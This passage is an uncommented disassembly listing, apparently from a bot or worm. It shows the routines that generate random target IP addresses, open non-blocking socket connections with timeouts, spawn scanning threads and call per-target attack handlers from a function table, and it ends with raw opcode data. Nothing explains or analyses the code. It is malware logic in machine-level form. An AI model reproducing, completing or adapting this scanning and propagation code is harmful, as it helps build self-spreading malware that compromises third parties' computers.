[ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 18h leave retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40C263 shl eax, 6 xor ebx, ebx cmp dword_431804[eax], ebx jz loc_40C263 push 5 call sub_40B602 test eax, eax pop ecx jnz loc_40C018 mov eax, dword_429078 push edi mov esi, offset dword_4CDBDC push 104h push esi push ebx mov dword_4CDDEC, eax mov dword_4CDDE8, ebx call near ptr 2680000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CDCE0 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDBD8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CDE70, eax jnz short loc_40BE44 lea eax, [ebp+arg_10] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, 1 jmp short loc_40BE5E ; --------------------------------------------------------------------------- loc_40BE44: ; CODE XREF: sub_40BD91+94j lea eax, [ebp+arg_90] push eax push offset dword_4CDDF0 call sub_41BFD0 add esp, 0Ch mov dword_4CDE74, ebx loc_40BE5E: ; CODE XREF: sub_40BD91+B1j push esi lea eax, [ebp+var_204] push dword_4CDDEC push offset unk_42C204 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B3BA add esp, 1Ch mov dword_4CDDE4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDBD8 push offset byte_412197 push ebx push ebx call near ptr 2690000h nop mov ecx, dword_4CDDE4 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BECC loc_40BEBA: ; CODE XREF: sub_40BD91+139j cmp dword_4CDE78, ebx jnz short loc_40BEE7 push 32h nop call near ptr 2680EF8h jmp short loc_40BEBA ; --------------------------------------------------------------------------- loc_40BECC: ; CODE XREF: sub_40BD91+127j call near ptr 269086Bh nop push eax lea eax, [ebp+var_204] push offset unk_431E08 push eax call sub_41C266 add esp, 0Ch loc_40BEE7: ; CODE XREF: sub_40BD91+12Fj lea eax, [ebp+var_204] push eax call sub_415D38 mov eax, dword_4CB710 mov esi, offset dword_4CDE84 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CE094, eax mov dword_4CE090, ebx call near ptr 2680000h nop push 103h push edi push offset dword_4CDF88 call sub_41BFD0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CDE80, eax mov eax, [ebp+arg_138] pop edi mov dword_4CE118, eax push 7Fh jnz short loc_40BF68 lea eax, [ebp+arg_10] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, 1 jmp short loc_40BF82 ; --------------------------------------------------------------------------- loc_40BF68: ; CODE XREF: sub_40BD91+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CE098 call sub_41BFD0 add esp, 0Ch mov dword_4CE11C, ebx loc_40BF82: ; CODE XREF: sub_40BD91+1D5j push esi lea eax, [ebp+var_204] push dword_4CE094 push offset unk_431DD4 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B3BA add esp, 1Ch mov dword_4CE08C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDE80 push offset word_40F3AA push ebx push ebx call near ptr 2690000h nop mov ecx, dword_4CE08C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40BFF0 loc_40BFDE: ; CODE XREF: sub_40BD91+25Dj cmp dword_4CE120, ebx jnz short loc_40C00B push 32h call near ptr 2680EF8h nop jmp short loc_40BFDE ; --------------------------------------------------------------------------- loc_40BFF0: ; CODE XREF: sub_40BD91+24Bj call near ptr 269086Bh nop push eax lea eax, [ebp+var_204] push offset unk_431DA0 push eax call sub_41C266 add esp, 0Ch loc_40C00B: ; CODE XREF: sub_40BD91+253j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C018: ; CODE XREF: sub_40BD91+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43180C[ecx], ebx jz loc_40C141 push 7 call sub_40B602 test eax, eax pop ecx jnz loc_40C13B mov eax, dword_4CE710 cmp [ebp+arg_90], bl mov dword_4CDB44, eax mov eax, [ebp+arg_110] mov dword_4CDB38, eax mov eax, [ebp+arg_138] mov dword_4CDB40, ebx mov dword_4CDBC8, eax push 7Fh jnz short loc_40C08C lea eax, [ebp+arg_10] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, 1 jmp short loc_40C0A6 ; --------------------------------------------------------------------------- loc_40C08C: ; CODE XREF: sub_40BD91+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CDB48 call sub_41BFD0 add esp, 0Ch mov dword_4CDBCC, ebx loc_40C0A6: ; CODE XREF: sub_40BD91+2F9j push dword_4CDB44 lea eax, [ebp+var_204] push offset unk_431D70 push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B3BA add esp, 18h mov dword_4CDB3C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CDB38 push offset dword_40F108 push ebx push ebx nop call near ptr 2690000h mov ecx, dword_4CDB3C imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C113 loc_40C101: ; CODE XREF: sub_40BD91+380j cmp dword_4CDBD0, ebx jnz short loc_40C12E push 32h nop call near ptr 2680EF8h jmp short loc_40C101 ; --------------------------------------------------------------------------- loc_40C113: ; CODE XREF: sub_40BD91+36Ej call near ptr 269086Bh nop push eax lea eax, [ebp+var_204] push offset unk_431D38 push eax call sub_41C266 add esp, 0Ch loc_40C12E: ; CODE XREF: sub_40BD91+376j lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C13B: ; CODE XREF: sub_40BD91+2A8j mov eax, [ebp+arg_130] loc_40C141: ; CODE XREF: sub_40BD91+298j shl eax, 6 cmp dword_431808[eax], ebx jz loc_40C263 push 3 call sub_40B602 test eax, eax pop ecx jnz loc_40C263 mov esi, offset dword_4CE3B4 push 104h push esi push ebx nop call near ptr 2680000h push 5Ch push esi call sub_41C820 pop ecx cmp eax, ebx pop ecx jz short loc_40C182 mov [eax], bl loc_40C182: ; CODE XREF: sub_40BD91+3EDj mov eax, dword_42907C mov dword_4CE4CC, ebx mov dword_4CE4B8, eax lea eax, [ebp+arg_10] push eax push offset dword_4CE12C call sub_41C266 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CE128, eax mov ecx, [ebp+arg_138] push esi push dword_4CE4B8 mov dword_4CE4C4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CE4C8, ecx call sub_40AA06 pop ecx push eax lea eax, [ebp+var_204] push offset unk_42C18C push eax call sub_41C266 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B3BA add esp, 20h mov dword_4CE4C0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CE128 push offset sub_40FAD6 push ebx push ebx call near ptr 2690000h nop mov ecx, dword_4CE4C0 imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C23B loc_40C229: ; CODE XREF: sub_40BD91+4A8j cmp dword_4CE4D4, ebx jnz short loc_40C256 push 32h nop call near ptr 2680EF8h jmp short loc_40C229 ; --------------------------------------------------------------------------- loc_40C23B: ; CODE XREF: sub_40BD91+496j nop call near ptr 269086Bh push eax lea eax, [ebp+var_204] push offset unk_431D04 push eax call sub_41C266 add esp, 0Ch loc_40C256: ; CODE XREF: sub_40BD91+49Ej lea eax, [ebp+var_204] push eax call sub_415D38 pop ecx loc_40C263: ; CODE XREF: sub_40BD91+14j ; sub_40BD91+25j ... pop esi pop ebx leave retn sub_40BD91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C267 proc near ; CODE XREF: sub_40C3E8:loc_40C459p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CBB20h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41CD20 add esp, 0Ch push [ebp+arg_0] call dword_4CB8FC inc eax push eax mov [ebp+arg_0], eax call dword_4CB9D0 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41CD20 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40C267 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2AF proc near ; CODE XREF: sub_40C3E8+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41B9C0 cmp eax, 0Fh pop ecx jbe short loc_40C2D7 xor eax, eax jmp short loc_40C348 ; --------------------------------------------------------------------------- loc_40C2D7: ; CODE XREF: sub_40C2AF+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41CCE3 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C304 call sub_41C2C2 mov [ebp+var_C], eax loc_40C304: ; CODE XREF: sub_40C2AF+4Bj cmp [ebp+var_8], esi jnz short loc_40C311 call sub_41C2C2 mov [ebp+var_8], eax loc_40C311: ; CODE XREF: sub_40C2AF+58j cmp [ebp+var_4], esi jnz short loc_40C31E call sub_41C2C2 mov [ebp+var_4], eax loc_40C31E: ; CODE XREF: sub_40C2AF+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C32A call sub_41C2C2 loc_40C32A: ; CODE XREF: sub_40C2AF+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CBB20[ecx*8], eax loc_40C348: ; CODE XREF: sub_40C2AF+26j pop esi leave retn sub_40C2AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C34B proc near ; CODE XREF: ___:0040BBBEp ; sub_40C3E8+BBp ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C374 xor eax, eax jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C374: ; CODE XREF: sub_40C34B+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB9D4 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CBA70 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB97C mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB9BC push esi mov edi, eax call dword_4CBA6C xor eax, eax cmp edi, ebx setnle al loc_40C3E3: ; CODE XREF: sub_40C34B+27j pop edi pop esi pop ebx leave retn sub_40C34B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3E8 proc near ; DATA XREF: sub_40C3E8+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 26A07AFh push eax call sub_41C2B8 mov ebx, esi pop ecx imul ebx, 234h loc_40C42F: ; CODE XREF: sub_40C3E8+204j mov eax, dword_43E914[ebx] cmp dword_4CBB24[eax*8], 0 jz loc_40C5F1 cmp [ebp+var_10], 0 push eax jz short loc_40C459 lea eax, [ebp+var_150] push eax call sub_40C2AF pop ecx jmp short loc_40C45E ; --------------------------------------------------------------------------- loc_40C459: ; CODE XREF: sub_40C3E8+60j call sub_40C267 loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E914[ebx] push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E64 push eax call sub_41C266 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E710[ebx] push eax call sub_41C266 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C34B add esp, 14h cmp eax, 1 jnz loc_40C5E1 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C535 push offset dword_4CDB20 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CBA60 push eax lea eax, [ebp+var_28C] push offset unk_431E3C push eax call sub_41C266 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C517 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C50B lea eax, [ebp+var_140] loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj push eax push [ebp+var_40] call sub_409869 add esp, 14h loc_40C517: ; CODE XREF: sub_40C3E8+100j lea eax, [ebp+var_28C] push eax call sub_415D38 mov [esp+29Ch+var_29C], offset dword_4CDB20 nop call near ptr 77F7E300h jmp loc_40C5E1 ; --------------------------------------------------------------------------- loc_40C535: ; CODE XREF: sub_40C3E8+D0j push edi call dword_4CBA60 push eax lea eax, [ebp+var_208] push eax call sub_41C266 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41C266 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C57A lea eax, [ebp+var_140] loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41C266 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_4317FC[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j ; sub_40C3E8+148j push 7D0h nop call near ptr 2680EF8h jmp loc_40C42F ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C3E8+55j push esi call sub_40B6D6 pop ecx push 0 nop call near ptr 26F0A80h loc_40C600: ; DATA XREF: sub_401ACD+1F2Ao ; sub_401ACD+5B7Ao push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CBA14 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CBB20[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BD91 push 0Bh call sub_40B602 add esp, 150h cmp eax, ebx jnz short loc_40C6CE mov esi, offset dword_4CDB20 push esi call near ptr 27001AFh nop push 80000400h push esi nop call near ptr 2700000h test eax, eax jnz short loc_40C6CE lea eax, [ebp+var_1CC] push offset unk_431F48 push eax call sub_41C266 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C6B8 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C6B8: ; CODE XREF: sub_40C3E8+2B1j lea eax, [ebp+var_1CC] push eax call sub_415D38 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C3E8+27Bj ; sub_40C3E8+297j mov eax, [ebp+var_2C] mov esi, dword_427080 mov edi, ebx mov dword_4CBB24[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C79B loc_40C6EC: ; CODE XREF: sub_40C3E8+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_431F14 push eax call sub_41C266 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B3BA mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C3E8 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40C766 loc_40C75B: ; CODE XREF: sub_40C3E8+37Cj cmp [ebp+var_4], ebx jnz short loc_40C78D push 1Eh call esi jmp short loc_40C75B ; --------------------------------------------------------------------------- loc_40C766: ; CODE XREF: sub_40C3E8+371j call near ptr 269086Bh nop push eax lea eax, [ebp+var_1CC] push offset unk_431EDC push eax call sub_41C266 lea eax, [ebp+var_1CC] push eax call sub_415D38 add esp, 10h loc_40C78D: ; CODE XREF: sub_40C3E8+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C6EC loc_40C79B: ; CODE XREF: sub_40C3E8+2FEj cmp [ebp+var_30], ebx jz loc_40C845 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C7B0: ; CODE XREF: sub_40C3E8+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CBB20[eax*8] push eax call dword_4CBA60 push eax lea eax, [ebp+var_1CC] push offset unk_431E9C push eax call sub_41C266 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C7FE push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409869 add esp, 14h loc_40C7FE: ; CODE XREF: sub_40C3E8+3F7j lea eax, [ebp+var_1CC] push eax call sub_415D38 mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CBB24[eax*8], ebx call esi push 0Bh call sub_40B602 cmp eax, 1 pop ecx jnz short loc_40C835 push offset dword_4CDB20 nop call near ptr 27001AFh loc_40C835: ; CODE XREF: sub_40C3E8+440j push [ebp+var_2C] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0A80h loc_40C845: ; CODE XREF: sub_40C3E8+3B6j ; sub_40C3E8+475j mov eax, [ebp+var_2C] cmp dword_4CBB24[eax*8], 1 jnz loc_40C7B0 push 7D0h call esi jmp short loc_40C845 sub_40C3E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C85F proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB9D4 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CBA54 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C91D lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB97C mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E91C[ecx], esi jz short loc_40C91D push [ebp+var_38] push [ebp+var_28] call dword_4CBA60 push eax mov edi, offset dword_4CE4E4 push offset dword_431F7C push edi call sub_41C266 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409869 push edi call sub_415D38 add esp, 28h loc_40C91D: ; CODE XREF: sub_40C85F+5Dj ; sub_40C85F+7Ej push esi call dword_4CBA6C pop edi xor eax, eax pop esi leave retn 4 sub_40C85F endp ; --------------------------------------------------------------------------- dword_40C92C dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh ; DATA XREF: sub_401ACD+5F60o dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h dd 1, 75FFFF33h, 0E075FFD0h, 0BA6015FFh, 8D50004Ch, 0FFFECC85h dd 1FA468FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh dd 50000001h, 69DC458Bh, 234C0h, 0E7100500h, 0E8500043h dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh dd 40C85Fh, 4DE85757h, 90022836h, 4589C73Bh, 390B74FCh dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 3DA2E8FCh, 0FF900226h dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB8FCh dd 45895040h, 0D015FF08h, 89004CB9h, 458D0845h, 50046A08h dd 50E0458Dh, 1030BE8h, 0CC48300h, 0FFFF3DE9h db 0FFh byte_40CA1D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5C80o dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 50BD8D59h dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD475h, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0F868FFFFh dd 5000431Fh, 0F7FDE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h dd 234C069h, 10050000h, 500043E7h, 0F547E8h, 1CC48300h dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h, 0E8575700h dd 228355Ch, 89C73B90h, 0B740845h, 75F87D39h, 0FF326A06h dd 0FFF5EBD6h, 0E8900875h, 2263CB0h, 8CB3FFh, 0BB890000h dd 0A8h, 458BD6FFh, 0D8453BD4h, 45FF0874h, 0FF6DE9D4h dd 75FFFFFFh, 6015FFE4h, 50004CBAh, 0FED0858Dh, 0CC68FFFFh dd 5000431Fh, 0F76DE8h, 858D5700h, 0FFFFFED0h, 50EC75FFh dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep ; sub_40CD9E+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CB2A endp ; =============== S U B R O U T I N E ======================================= sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41BEB5 mov edi, eax pop ecx test edi, edi jz short loc_40CB66 push ebx push 0 push edi call sub_41BF70 push ebx push [esp+1Ch+arg_0] push edi call sub_41CD20 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CB66: ; CODE XREF: sub_40CB34+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CB34 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p ; sub_40CCE2+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41BEB5 mov esi, eax pop ecx test esi, esi jz short loc_40CBBA push edi push 0 push esi call sub_41BF70 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41CD20 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41CD20 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CB6E endp ; =============== S U B R O U T I N E ======================================= sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep ; sub_40CC68+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CBD3 push eax call sub_41BA91 pop ecx loc_40CBD3: ; CODE XREF: sub_40CBC3+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CBC3 endp ; =============== S U B R O U T I N E ======================================= sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p ; sub_40CD43+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CC09 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CC0D loc_40CC09: ; CODE XREF: sub_40CBDC+Dj xor al, al jmp short loc_40CC64 ; --------------------------------------------------------------------------- loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41BF70 add esp, 0Ch cmp ebx, 1 jnz short loc_40CC32 mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40CC4C ; --------------------------------------------------------------------------- loc_40CC32: ; CODE XREF: sub_40CBDC+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40CC4C: ; CODE XREF: sub_40CBDC+54j push eax call sub_41CD20 add esp, 0Ch push dword ptr [esi] call sub_41BA91 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj pop edi pop esi pop ebx retn sub_40CBDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p ; sub_40CD9E+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset word_4CB88C call sub_40CB6E lea ecx, [ebp+var_8] call sub_40CBDC mov eax, [ebp+var_4] inc eax push eax call sub_41BEB5 mov edi, eax pop ecx test edi, edi jnz short loc_40CCA2 xor al, al jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCA2: ; CODE XREF: sub_40CC68+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BF70 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41CD20 add esp, 18h mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CBC3 mov al, 1 loc_40CCDE: ; CODE XREF: sub_40CC68+38j pop edi pop esi leave retn sub_40CC68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p ; sub_40CD33+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 